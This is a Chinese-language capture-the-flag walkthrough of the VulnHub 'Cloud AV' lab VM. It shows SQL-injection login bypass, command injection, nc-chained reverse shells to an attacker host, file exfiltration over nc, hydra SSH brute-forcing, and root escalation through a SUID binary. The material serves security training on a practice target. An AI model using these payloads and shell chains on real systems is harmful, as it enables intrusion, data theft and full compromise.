靶机介绍:

1)靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

2)难度级别:低

3)涉及攻击手段:端口扫描、WEB侦查、SQL注入、命令注入、密码爆破、代码审计、NC串联、本地提权

4)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

打靶过程:

1)启动靶机,选择网络模式为仅主机模式,由此可确定靶机地址段为192.168.56.0/24

2)利用工具进行扫码仅主机网段192.168.56.0/24的存货主机,此处使用工具arping,不使用arp-scan,因为arp-scan更倾向于黑客工具,但是arping大部门主机都默认安装了,,适用性更强,但是arping无法对一段的网络进行一次性的主机发现,所以只能通过编写shell脚本的循环进行主机发现

# for i in $(seq 1 254);do sudo arping -c 2 192.168.56.$i;done 

当扫描到192.168.56.109时,该主机进行了回包,说明该IP地址即为靶机地址

3)对主机192.168.56.109进行全端口扫描:发现该主机开放了22端口和8080端口

# nmap -p- 192.168.56.109

4)对开发的端口进行服务版本的扫描:发现22端口使用的openssh服务版本为哦openssh7.6p1,8080端口使用的是httpd服务,而且服务端使用了werkzeug这个python开发的web框架,服务端使用了python2.7版本

 nmap -p22,8080 -sV 192.168.56.109

5)浏览器访问该主机的8080端口:发现该页面是一个云防病毒扫描的服务,首先需要输入邀请码(密码)才能正常登入进行系统后台,才能进行云服务查杀,即通过密码进行身份认证的过程。此时的攻击思路

①尝试利用程序在服务端代码上的逻辑漏洞,通过sql注入等方式绕过身份认证

②使用暴力破解等方式破解

浏览器:http://192.168.56.109:8080/

6)破解密码

①浏览器设置代理

②burp设置代理监听

③在网站输入框中任意输入字符,进行提交,抓取数据包

④将数据包发送至Intruder模式,对输入的字符串添加为变量,设置成数据的注入点,在payload中尝试输入键盘上所有的字符:因为无论在任何的语言和编程环境中,键盘上输入的符号,在不同的语言环境,往往都有特使的功能,当向一个数据的注入点注入了所有符号,如果这个位置上存在某种注入漏洞,一般就会出发服务器端代码上的问题,造成语法和语义上的歧义,从而使得服务器无法正常处理这写请求,最后通过触发这些漏洞,就有发现服务器端可能存在的注入漏洞。

⑤开始爆破后,发现当输入双引号时,返回的状态码和长度发生了变化

⑥通过查看报错发现,该页面返回了目标服务器文件系统的路径,同时在最后一行发现了一个sql语句:if len(c.execute(‘select * from code where password=”‘ + password + ‘”‘).fetchall()) > 0:

可以发现之前输入的双引号被拼接到了该语句中,使得sql语句语法报错

'select * from code where password="' + " + '&quit;'      #HTML转义'select * from code where password=";' + " + '";'              #去掉单引号 #服务端第一个双引号和第二个双引号进行了闭合,导致最后一个双引号没有闭合,使得服务端代码出现了语法错误 select * from code where password="; + " + ";      select * from code where password="; + 123 + ";               #正常语句 #构建payload,尝试在不知道邀请码情况下,进入系统 select * from code where password="; + " or 1=1 --+ + ";      --+表示注释

7)SQL注入,输入语句后,正常登陆至系统

浏览器输入框: "or 1=1 --+

8)根据上述显示,猜测,当输入一个服务器中的文件名至输入框,点击扫描后,会将此请求提交至服务器,服务器会调用某种杀毒软件(如avscan)对该文件进行扫描,如avscan hello,也就意味着执行了类似的命令

9)如果服务端是按照上述方式执行的杀毒操作,在shell命令中,可以通过管道符等方式执行其他命令

浏览器输入框: cat | id

10)反弹shell,此处不使用python的反弹shell,使用nc进行反弹

①先判断目标主机有无nc命令

cat |wchic nc

②连接kali主机192.168.56.103的4444端口,并通过-e参数指定连接成功之后开启一个shell终端,发现kali虽然连接成功,但并没有接收到反弹的shell

浏览器输入:cat | nc 192.168.56.103 3333kali:# nc -lvvp 3333 

因为有些服务器发行版本的nc命令版本,并没有-e参数,此时使用nc的串联

③先使用一个nc去连接kali中的一个监听端口3333,再使用管道将前面的结果输入给后面的/bin/bash进行解析,解析完成后再通过管道发送给kali中的另一个监听端口4444,此时发现,当在会话1输入的命令,执行结果将会在会话2显示出来

浏览器输入框:cat | nc 192.168.56.103 3333|/bin/bash|nc 192.168.56.103 4444kali-会话1:# nc -lvvp 3333kali-会话2:# nc -lvvp 4444

浏览器输入框输入内容:

kali-会话1:

kali-会话2:

11)通过上述发现,当前目标服务器存在一个database.sql的文件,通过对查看发现是一个SQLite 3.x 数据库文件,通过在目标主机执行sqlite命令发现,并没有什么回显,说明目标主机没有sqlite的执行环境

#file database.sql

12)将目标主机上的database.sql文件下载到kali本机

①在kali主机监听5555端口,将接受到的任何数据,重定向到db.sql

# nc -lvvp 5555 > db.sql

②在目标主机通过nc去连接kali主机的5555端口,并利用将database.sql传输过去

#nc 192.168.56.103 5555 < db.sql# ls -l db.sql

13)此时即可在kali通过sqlite去执行该sql文件

# sqlite3sqlite> .open db.sql                  #通过open命令打开sql文件,没有报错表示打开成功sqlite> .database                     #打开当前加载的数据库文件sqlite> .dump                         #把加载上来的数据库文件中的数据显示出来

14)通过查看sql文件发现,该数据库中文件只有一个表,且只有一个password字段,向该字段中导入了4个密码,此时可以尝试通过用户名和密码通过ssh进行登录

①先查看目标系统中,可以登录的用户有哪些

#cat /etc/passwd|grep /bin/bash

②将三个用户生成一个用户名字典

③将之前的密码生成一个字典

④通过hydra进行ssh密码暴力破解

# hydra -L user.txt -P password.txt ssh://192.168.56.109

通过ssh暴力破解,未破解出正确的用户名和密码

15)此时需要再次进行目标服务器信息搜集,在搜集过程中发现了update_cloudav、update_cloudav.c文件,根据后缀可知update_cloudav.c是源码文件,update_cloudav是可执行文件,并且还具有SUID权限,且用户属主是root

#cd ..#pwd#ls -l

16)通过查看update_cloudav.c源码文件,发现执行该文件,需要输入一个参数

17)通过SUID的特性,只要执行该文件,就会默认继承该文件属主的权限,即root权限

#./update_cloudav "a|nc 192.168.56.103 7777 | /bin/bash | nc 192.168.56.103 8888"

18)同时在kali主机分别监听7777、8888端口,此时在会话3输入命令,则会回显在会话4

会话3:# nc -lvvp 7777会话4:# nc -lvvp 8888